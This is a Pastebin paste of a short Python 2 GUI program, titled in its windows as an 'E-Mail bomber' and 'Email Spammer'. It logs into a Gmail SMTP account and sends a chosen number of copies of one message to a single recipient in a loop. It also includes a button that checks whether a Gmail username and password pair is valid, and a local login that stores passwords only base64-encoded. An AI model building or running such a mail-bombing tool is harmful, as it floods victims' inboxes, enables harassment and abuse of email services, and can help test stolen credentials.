Guest User

Untitled

a guest
Dec 3rd, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. #!/usr/bin/python
  2. from fltk import *
  3. import base64
  4. import time
  5. import smtplib
  6.  
  7. def authenticate(x):
  8. server = smtplib.SMTP('smtp.gmail.com:587')
  9. server.starttls()
  10. try:
  11. server.login(user.value(), passw.value())
  12. correct = fl_message("That is a correct user/pass combination")
  13. except:
  14. incorrect = fl_message("Wrong user/pass")
  15.  
  16. def spam(x):
  17. count = 0
  18. server = smtplib.SMTP('smtp.gmail.com:587')
  19. server.starttls()
  20. server.login(user.value(), passw.value())
  21. count = int(howmany.value())
  22. while count > 0:
  23. server.sendmail(user.value(),recip.value(),context.value())
  24. count = count - 1
  25. print "You have", count , "message(s) remaining"
  26. if count == 0:
  27. finishing = fl_message("You have sucessfully sent all your messages")
  28. server.quit()
  29.  
  30. def logmein(x):
  31. f = open('save.txt','r')
  32. for line in f:
  33. reopen = line.split(',')
  34. names[reopen[0]]=reopen[1]
  35. decoding = base64.encodestring(password.value())
  36. try:
  37. if decoding in names[username.value()]:
  38. fl_message("Welcome to the E-Mail bomber!")
  39. emailwin.show()
  40. Fl.run()
  41. else:
  42. fl_message("Wrong user/pass")
  43. except KeyError:
  44. fl_message("Wrong user/pass")
  45.  
  46.  
  47. win = Fl_Window(200,200,300,300,"By Hussain")
  48. emailwin = Fl_Window(0,0,400,300, "Email Spammer by PaYTHemONey")
  49. names = {}
  50.  
  51. win.begin()
  52. username = Fl_Input(125,75,100,30,"Username :")
  53. password = Fl_Secret_Input(125,120,100,30,"Password :")
  54. login = Fl_Button(100,175,100,50,"Login")
  55. win.end()
  56.  
  57. emailwin.begin()
  58. emailwin.hide()
  59. user = Fl_Input(80,15,100,30, "Email :")
  60. passw = Fl_Secret_Input(80,60,100,30, "Password :")
  61. validate = Fl_Button(200,35,90,40, "Validate")
  62. howmany = Fl_Input(90,110,60,30, "How many :")
  63. recip = Fl_Input(190,110,100,30, "To :")
  64. context = Fl_Multiline_Input(80,160,215,75, "Message :")
  65. send = Fl_Button(100,250,90,40, "Send")
  66. emailwin.end()
  67.  
  68. validate.callback(authenticate)
  69. send.callback(spam)
  70. login.callback(logmein)
  71.  
  72. Fl.scheme('plastic')
  73.  
  74. win.show()
  75. Fl.run()
Add Comment
Please, Sign In to add comment